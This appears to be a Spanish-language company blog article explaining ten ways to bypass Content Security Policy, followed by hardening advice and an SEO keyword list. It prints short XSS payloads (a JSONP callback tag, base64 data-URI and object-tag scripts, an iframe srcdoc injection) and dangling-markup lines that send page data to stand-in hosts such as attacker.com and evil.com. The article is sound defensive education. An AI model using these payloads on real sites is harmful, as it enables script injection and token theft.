Security
11 min read
2922 views

Evasión de la Política de Seguridad de Contenido: 1,000 formas de romper tu CSP 🛡️

IT
InstaTunnel Team
Published by our engineering team
Evasión de la Política de Seguridad de Contenido: 1,000 formas de romper tu CSP 🛡️

Descubre las técnicas sofisticadas que usan los atacantes para sortear incluso las configuraciones de CSP más estrictas, desde endpoints JSONP hasta inyección de marcado colgante. Por qué tu CSP podría ser solo teatro de seguridad.

Introducción: La falsa sensación de seguridad

La Content Security Policy (CSP) se ha convertido en el estándar de oro para proteger aplicaciones web contra Cross-Site Scripting (XSS) y otros ataques de inyección de contenido. CSP es un mecanismo para definir qué recursos pueden ser solicitados o ejecutados por una página web, implementado mediante encabezados de respuesta o elementos meta en la página HTML. Las organizaciones la despliegan con confianza, creyendo que han levantado una fortaleza impenetrable alrededor de sus aplicaciones.

Pero aquí está la verdad incómoda: una política de CSP mal configurada puede ser evadida, dejando la aplicación vulnerable. En muchos casos, CSP funciona más como teatro de seguridad que como protección real—dando a los desarrolladores una falsa sensación de seguridad mientras los atacantes explotan errores de configuración y peculiaridades del navegador para comprometer las aplicaciones.

Este artículo explora el arsenal sofisticado de técnicas que usan los atacantes para sortear CSP, revelando por qué incluso las políticas más cuidadosamente diseñadas podrían no protegerte tan bien como piensas.

Entendiendo la Política de Seguridad de Contenido

Antes de profundizar en las técnicas de evasión, es crucial entender qué es CSP y cómo debe funcionar.

La Content Security Policy es un estándar del W3C que permite a los desarrolladores controlar la carga y ejecución de ciertos tipos de scripts en una aplicación web. Actúa como una capa adicional de defensa contra ataques de inyección de contenido, particularmente XSS.

CSP funciona definiendo directivas que especifican qué recursos los navegadores pueden cargar y ejecutar. Las directivas comunes incluyen:

  • script-src: Controla qué fuentes de JavaScript pueden cargarse
  • default-src: Directiva de respaldo para otros tipos de recursos
  • img-src: Especifica fuentes válidas para imágenes
  • style-src: Controla las fuentes de hojas de estilo
  • connect-src: Restringe qué URLs pueden cargarse mediante interfaces de script
  • frame-ancestors: Especifica padres válidos para incrustaciones mediante iframes

Sin embargo, CSP no representa tu primera línea de defensa, sino tu defensa en profundidad. Está diseñada para detectar ataques que escapan a la validación de entrada y codificación de salida, no para reemplazarlas completamente.

Los conceptos erróneos más peligrosos

Uno de los mayores problemas con la implementación de CSP es la brecha entre la teoría y la práctica. Muchos desarrolladores implementan CSP sin entender completamente sus limitaciones, lo que conduce a vulnerabilidades críticas.

La trampa ‘unsafe-inline’

El uso de ‘unsafe-inline’ como valor de la directiva script-src hace que la política sea vulnerable y permita scripting en línea. Este error de configuración anula completamente la protección XSS de CSP, ya que los atacantes pueden inyectar etiquetas de script en línea directamente.

Dominios comodín: una bomba de tiempo

Usar comodines en las políticas de CSP puede parecer conveniente, pero abre enormes agujeros de seguridad. Cuando whitelistéas dominios enteros, confías en cada endpoint de ese dominio—incluidos aquellos que podrían ser vulnerables o diseñados para devolver código ejecutable.

Técnica 1: Explotación de endpoints JSONP

Uno de los métodos más confiables para evadir CSP implica explotar endpoints JSONP (JSON con relleno) en dominios whitelist.

Esta técnica de evasión de CSP se basa en la explotación de endpoints JSONP presentes en dominios autorizados. Estos endpoints permiten sortear la política de mismo origen y cargar datos desde otros orígenes, inyectando JavaScript en la respuesta en forma de JSON.

Cómo funcionan las evasiones JSONP

JSONP aprovecha una etiqueta script para cargar datos desde un dominio diferente y luego envuelve los datos en una llamada a función. Como los datos están envueltos en un script, pueden sortear muchas políticas CSP.

Considera una política CSP que whitelisté accounts.google.com:

Content-Security-Policy: script-src 'self' accounts.google.com

Un atacante puede explotarlo con:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

La respuesta contiene JavaScript ejecutable, lo que permite que la función alert(1) se ejecute mediante un script cargado desde ese endpoint.

Existen varios endpoints de evasión CSP listos para usar en JSONBee, haciendo que esta técnica sea accesible incluso para atacantes menos sofisticados.

Impacto en el mundo real

Plataformas importantes como Google, Facebook y numerosos CDN tienen endpoints JSONP que pueden ser utilizados contra sitios que whitelistéan estos dominios. Esto no es una vulnerabilidad teórica—se explota activamente en la actualidad.

Técnica 2: Inyección de marcado colgante

Cuando no es posible un XSS completo debido a restricciones de CSP, los atacantes recurren a la inyección de marcado colgante—una técnica sigilosa para exfiltrar datos sensibles sin ejecutar JavaScript.

La inyección de marcado colgante es una técnica para capturar datos entre dominios en situaciones donde no es posible un ataque completo de cross-site scripting.

La mecánica del marcado colgante

La idea es inyectar HTML parcial en un estado incompleto, como un atributo src de una etiqueta de imagen, y que el resto del marcado cierre el atributo pero también envíe los datos en medio al servidor remoto.

Considera este escenario de inyección:

INYECCIÓN AQUÍ
<b>test</b>
<script>
  token = 'supersecret';
</script>
<form action="blah"></form>

Un atacante inyecta:

<img src='https://attacker.com/exfil?data=

El marcado resultante captura todo hasta la siguiente comilla:

<img src='https://attacker.com/exfil?data=
<b>test</b>
<script>
  token = 'supersecret';
</script>
<form action="blah">

Evadiendo CSP con manipulación de la etiqueta Base

Usando el atributo target en la etiqueta base, podemos cambiar el nombre de la ventana de cada enlace en la página. Al inyectar un atributo target incompleto, el nombre de la ventana se establecerá con todo el marcado después de la inyección hasta la comilla correspondiente en cada enlace, permitiéndonos robar tokens.

Esta técnica funciona incluso contra políticas CSP restrictivas porque no requiere cargar recursos externos ni ejecutar scripts—simplemente manipula la estructura HTML.

Marcado colgante avanzado con iframe

CSP trata las URLs about:blank como del mismo origen—sin embargo, cuando un atacante establece un iframe de dominio cruzado a about:blank, se vuelve legible por un atacante y definitivamente no es del mismo origen.

Esta peculiaridad del navegador permite ataques sofisticados donde los iframes pueden ser manipulados para filtrar información sensible entre dominios, evadiendo completamente las protecciones CSP.

Técnica 3: Manipulación del caché del navegador

Uno de los descubrimientos más sofisticados recientes implica explotar los mecanismos de caché del navegador para evadir implementaciones de CSP basadas en nonce.

El método explota la interacción entre las implementaciones de CSP con nonce y los mecanismos de caché del navegador, específicamente el back/forward cache (bfcache) y los sistemas de caché en disco.

El ataque de filtración de nonce

La técnica utiliza selectores de atributos CSS para extraer valores de nonce de etiquetas meta que contienen encabezados CSP. Aunque los atributos nonce en las etiquetas script están protegidos por razones de seguridad, los mismos valores reflejados en los atributos de contenido de las etiquetas meta permanecen accesibles.

El ataque se realiza en pasos:

  1. Usar inyección CSS para filtrar sistemáticamente valores de nonce carácter por carácter
  2. Explotar vulnerabilidades CSRF para actualizar la carga útil inyectada
  3. Manipular la caché del navegador para servir la carga útil actualizada con el nonce previamente filtrado
  4. Ejecutar código malicioso a pesar de la protección CSP basada en nonce

Esta investigación revela implicaciones importantes para la seguridad de aplicaciones web, ya que muchas dependen de CSP con nonce como defensa principal contra ataques XSS.

Técnica 4: Abuso del atributo iframe y srcdoc

El atributo srcdoc de los iframes ofrece otro vector de evasión poderoso que muchas políticas CSP pasan por alto.

La política CSP anterior puede ser evadida usando iframes. La condición es que la aplicación permita iframes del dominio en la lista blanca. Ahora, usando un atributo especial srcdoc del iframe, se puede lograr fácilmente un XSS.

Considera una política como:

Content-Security-Policy: default-src 'self' data: *; 
script-src 'self' https://trusted-cdn.com

Un atacante puede inyectar:

<iframe srcdoc="<script src='https://trusted-cdn.com/vulnerable-endpoint.js'></script>"></iframe>

El iframe hereda la CSP del padre, pero puede cargar contenido que evade las restricciones mediante el atributo srcdoc.

Técnica 5: URIs de datos en Base64

Cuando CSP permite data: en las fuentes de scripts, los atacantes pueden codificar scripts maliciosos directamente en el formato compatible con la política.

La presencia de data: en la CSP permite la inclusión de scripts codificados en Base64, que serán interpretados directamente por el navegador.

Ejemplo de explotación:

<script src="data:;base64,YWxlcnQoMSk="></script>

Esta técnica funciona porque el navegador decodifica y ejecuta el JavaScript codificado en Base64, evadiendo las restricciones de recursos externos.

Técnica 6: Bypasses específicos de AngularJS y frameworks

Los frameworks JavaScript legados introducen sus propias oportunidades de evasión.

La política CSP puede ser evadida si la aplicación AngularJS carga scripts desde un dominio en la lista blanca.

Las versiones de AngularJS anteriores a 1.6 son particularmente vulnerables debido a las debilidades en su implementación del sandbox. Los atacantes pueden crear cargas útiles que escapan del sandbox y ejecutan código arbitrario en aplicaciones que usan estos frameworks obsoletos.

El problema de dependencia del framework

Las aplicaciones web modernas dependen de numerosas bibliotecas y frameworks JavaScript. Cada dependencia potencialmente introduce vectores de evasión, especialmente cuando se cargan desde CDNs en la lista blanca que pueden alojar versiones vulnerables.

Técnica 7: Secuestro de formularios

El secuestro de formularios no está relacionado con la ejecución tradicional de scripts, sino que explota vulnerabilidades de inyección HTML para redirigir envíos de formularios.

Cuando CSP no incluye directivas form-action o permite envíos a dominios externos, los atacantes pueden:

  1. Inyectar un formulario falso que imita interfaces de inicio de sesión legítimas
  2. Dirigir envíos de formularios a servidores controlados por el atacante
  3. Robar credenciales y datos sensibles sin ejecutar ningún JavaScript

Esta técnica es particularmente insidiosa porque funciona incluso con las políticas más estrictas de script-src.

Técnica 8: Traversal de rutas en políticas CSP

Una vulnerabilidad sutil pero crítica surge de cómo los navegadores y servidores interpretan las rutas de manera diferente.

Cuando usas / para codificar ‘/’ como parte de tu política CSP y apuntas a una carpeta, todavía se considerará parte de esa carpeta. Cuando el servidor la decodifica, puede ser evadida usando “/../”, saltándose la restricción de carpeta.

Por ejemplo, una política que restringe scripts a /company/ puede ser evadida con:

https://example.com/company/../attacker/malicious.js

Técnica 9: Explotación de etiquetas Object y Embed

Mientras que las etiquetas script reciben la mayor atención, las etiquetas object y embed también pueden ejecutar código.

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Las evasiones basadas en Flash usando etiquetas object también pueden sortear CSP cuando los archivos Flash legados están en la lista blanca o cuando object-src no está restringido correctamente.

Técnica 10: Ataques de meta tag refresh

Las meta tags ofrecen otra vía para exfiltrar datos y redireccionar:

<meta http-equiv="refresh" content="0;URL=http://evil.com/log.php?data=

Esto inyecta una redirección que puede capturar el contenido de la página siguiente, útil para robar tokens e información sensible.

Por qué tu CSP podría ser solo teatro de seguridad

La dura realidad es que muchas implementaciones de CSP ofrecen un beneficio de seguridad mínimo. Aquí las razones:

La complejidad genera errores

La configuración de CSP es notoriamente compleja. Las configuraciones pueden dejar brechas en la cobertura cuando se usan aplicaciones web antiguas o grandes.

Un solo error de configuración—como incluir ‘unsafe-inline’ o whitelistéar el dominio incorrecto—puede anular completamente la protección.

El problema del whitelist

Cada dominio en la lista blanca es un vector potencial de ataque. A medida que las aplicaciones crecen y se integran con más servicios de terceros, la lista blanca se expande, aumentando exponencialmente la superficie de ataque.

Inconsistencias en los navegadores

Diferentes navegadores interpretan y aplican CSP de manera distinta, creando protección inconsistente en plataformas. Los atacantes explotan estas inconsistencias para crear evasiones que funcionan en navegadores específicos.

Limitaciones del código legado

Incluso cuando las validaciones son evadidas, CSP bloquea la ejecución de scripts desde una fuente no deseada, neutralizando en gran medida el ataque—pero solo si está bien configurada. Las aplicaciones legacy a menudo no pueden adoptar políticas CSP estrictas sin romper funcionalidad.

Cómo probar tu CSP en busca de vulnerabilidades

Varias herramientas pueden ayudar a identificar debilidades en tu implementación de CSP:

  1. https://csp-evaluator.withgoogle.com/ 2. https://cspvalidator.org/

Estos evaluadores analizan tu política e identifican configuraciones incorrectas comunes, pero no pueden detectar todas las vulnerabilidades—especialmente las específicas de la aplicación.

Enfoques de prueba manual

Probar CSP efectivamente requiere:

  1. Identificar todos los dominios en la lista blanca
  2. Buscar endpoints JSONP en esos dominios
  3. Probar vulnerabilidades de inyección HTML
  4. Intentar diversas técnicas de evasión sistemáticamente
  5. Analizar cómo la aplicación maneja casos límite

Mejores prácticas para fortalecer CSP

Aunque ninguna CSP es completamente a prueba de evasiones, ciertas prácticas mejoran significativamente la seguridad:

Usa Nonces o Hashes, no Whitelists

Evita whitelistéar dominios por completo. En su lugar, usa CSP basada en nonce o hashes:

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'

Genera un nonce único para cada carga de página y solo permite scripts con ese nonce.

Elimina ‘unsafe-inline’ y ‘unsafe-eval’

Estas directivas nunca deben aparecer en políticas CSP en producción. Erosionan completamente la protección contra XSS.

Restringe todas las directivas

No solo te enfoques en script-src. Configura:

  • object-src ‘none’: Evita explotación de object y embed
  • base-uri ‘none’: Evita manipulación de la etiqueta base
  • form-action ‘self’: Restringe envíos de formularios
  • frame-ancestors ‘none’: Previene clickjacking

Implementa modo Report-Only con cuidado

Content-Security-Policy-Report-Only: Se usa para monitoreo; reporta violaciones sin bloquear. Ideal para pruebas en entornos preproducción.

Usa modo report-only para probar políticas antes de aplicar, pero nunca dejarlo habilitado en producción.

Auditorías de seguridad periódicas

CSP no es una solución de configuración y olvido. Las auditorías regulares deben:

  • Revisar todos los dominios en la lista blanca por endpoints JSONP
  • Probar nuevas técnicas de evasión
  • Actualizar políticas a medida que evoluciona la aplicación
  • Eliminar dominios en la lista blanca que ya no se usan

Encabezados Cache-Control

Los profesionales de seguridad deben considerar el comportamiento de caché al implementar protecciones CSP, posiblemente requiriendo medidas adicionales como encabezados cache-control.

Encabezados de caché adecuados previenen ataques de filtración de nonce basados en caché.

El enfoque de defensa en profundidad

CSP es una capa adicional contra ataques de inyección de contenido. La primera línea de defensa siempre es codificación de salida y validación de entrada.

Nunca confíes solo en CSP. Una estrategia de seguridad integral incluye:

  1. Validación de entrada: Rechaza entradas maliciosas antes de que lleguen a tu aplicación
  2. Codificación de salida: Codifica correctamente todo contenido generado por el usuario
  3. CSP: Detecta ataques que escapan a otras defensas
  4. WAF (Firewall de Aplicaciones Web): Bloquea patrones de ataque conocidos
  5. Encabezados de seguridad: Implementa encabezados adicionales como X-Content-Type-Options y X-Frame-Options
  6. Actualizaciones regulares: Mantén frameworks y librerías actualizadas

Estudios de casos reales

El incidente JSONP de Google

Numerosas aplicaciones que whitelisté Google cayeron víctimas de explotación de endpoints JSONP. El endpoint oauth2/revoke se convirtió en un objetivo frecuente para evadir CSP.

La ruptura del sandbox en AngularJS

Varias vulnerabilidades de alta gravedad en AngularJS 1.x permitieron escapes completos del sandbox, comprometiendo aplicaciones que confiaban en CSP para protección.

Brechas en plataformas de comercio electrónico

Varias plataformas importantes de comercio electrónico sufrieron brechas de datos cuando atacantes usaron secuestro de formularios para robar credenciales de clientes, a pesar de políticas CSP aparentemente estrictas.

Amenazas emergentes y preocupaciones futuras

A medida que evoluciona la seguridad web, también lo hacen las técnicas de evasión. Algunas preocupaciones emergentes incluyen:

Confusión con la API Trusted Types

Mientras Trusted Types promete mejor protección contra XSS, errores en su implementación pueden crear nuevas oportunidades de evasión.

Explotación de WebAssembly

A medida que WebAssembly se vuelve más prevalente, surgirán nuevos vectores de ataque que las implementaciones actuales de CSP podrían no abordar adecuadamente.

Ataques con Service Worker

Los service workers operan fuera de las restricciones tradicionales de CSP, potencialmente ofreciendo nuevas vías de explotación.

Conclusión: Más allá del teatro de seguridad

La Content Security Policy sigue siendo un mecanismo importante de seguridad, pero no es la solución mágica que muchos creen que es. La multitud de técnicas de evasión—desde explotación JSONP hasta inyección de marcado colgante, manipulación de caché y ataques específicos de frameworks—demuestra que CSP por sí sola no puede asegurar las aplicaciones web modernas.

El camino a seguir requiere:

  • Expectativas realistas: Entender las limitaciones de CSP
  • Defensa en profundidad: Implementar múltiples controles de seguridad
  • Vigilancia continua: Auditar y actualizar políticas regularmente
  • Desarrollo con seguridad desde el inicio: Construir seguridad en las aplicaciones desde cero

Tu CSP puede parecer impresionante en auditorías de seguridad, pero si contiene alguna de las configuraciones incorrectas o patrones vulnerables discutidos aquí, puede estar proporcionando poco más que teatro de seguridad. Los atacantes conocen estas técnicas—es hora de que los defensores también.

La pregunta no es si tu CSP puede ser evadida—es cuánto tiempo le tomará a un atacante encontrar la técnica adecuada. Al entender estos métodos de evasión e implementar defensas robustas, puedes elevar significativamente la barrera y proteger tus aplicaciones contra la próxima generación de ataques sofisticados.

Recuerda: CSP es una capa en tu estrategia de seguridad, no toda la estrategia en sí. Implántala correctamente, pruébala a fondo y nunca asumas que hace tu aplicación invulnerable.

Continue from this article into the most relevant product guides and workflows.

Related Topics

## All CSP SEO Keywords - Copy-Ready List Content Security Policy bypass, CSP bypass techniques, CSP vulnerabilities, Content Security Policy exploitation, How to bypass CSP, CSP security flaws, CSP misconfiguration, Content Security Policy attacks, JSONP endpoint exploitation, Dangling markup injection, CSP nonce bypass, unsafe-inline CSP, CSP whitelist bypass, AngularJS CSP bypass, CSP evaluation tools, Browser cache CSP attack, Base64 CSP bypass, iframe srcdoc CSP, XSS CSP bypass, Content injection attacks, CSP best practices, Nonce-based CSP, Hash-based CSP, CSP report-only mode, Web application security, Defense in depth security, How to test Content Security Policy for vulnerabilities, CSP bypass using JSONP endpoints, Why Content Security Policy is not enough, Content Security Policy security theater, How attackers bypass strict CSP, CSP misconfiguration examples, Exploiting whitelisted domains in CSP, CSP bypass with dangling markup, Browser inconsistencies in CSP enforcement, CSP path traversal vulnerabilities, Form hijacking without JavaScript, Meta tag CSP bypass techniques, Object tag CSP exploitation, Legacy framework CSP vulnerabilities, CSP wildcard domain risks, How to harden Content Security Policy, CSP vs XSS protection, Modern CSP bypass methods 2025, Content Security Policy implementation errors, CSP directive misconfigurations, script-src directive, default-src CSP, object-src directive, base-uri CSP, form-action directive, frame-ancestors CSP, CSP evaluator, Trusted Types API, WebAssembly CSP, Service worker security, Same-origin policy bypass, Cross-site scripting prevention, Web security headers, HTTP security headers, X-Content-Type-Options, X-Frame-Options, Input validation techniques, Output encoding best practices, Google CSP evaluator, CSP validator tools, JSONBee CSP bypass, CSP analyzer, Web application firewall, Burp Suite CSP testing, OWASP CSP guidelines, Mozilla CSP documentation, CSP not blocking XSS, How to fix CSP vulnerabilities, Secure CSP configuration, CSP implementation guide, Preventing CSP bypass attacks, CSP security audit, Testing CSP effectiveness, CSP policy review, Hardening web application security, Multi-layer security strategy, Web security 2025, Modern web vulnerabilities, Application security testing, Penetration testing techniques, Bug bounty CSP findings, Web application pentesting, Security researcher techniques, Ethical hacking CSP, Cybersecurity best practices, DevSecOps CSP, Secure coding practices, SDLC security integration, What is Content Security Policy, How does CSP work, CSP bypass explained, Understanding CSP vulnerabilities, CSP security concepts, Types of CSP attacks, CSP testing tools, CSP vulnerability scanner, Buy CSP security solution, Enterprise CSP implementation, CSP monitoring service, CSP documentation, CSP specification W3C, OWASP CSP cheat sheet, Google CSP guide, Mozilla CSP reference, Cross-Site Scripting XSS prevention, Web Application Firewall configuration, Secure HTTP headers implementation, Input validation best practices, Output encoding techniques, OWASP Top 10 vulnerabilities, JavaScript security patterns, Browser security mechanisms, API security best practices, Modern authentication methods, Web Security, Application Security, Vulnerability Research, Security Testing, Penetration Testing, Ethical Hacking, Secure Development, Security Configuration, Browser Security, JavaScript Security, Frontend Security, Security Best Practices, Defensive Security, Offensive Security, Security Engineering

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles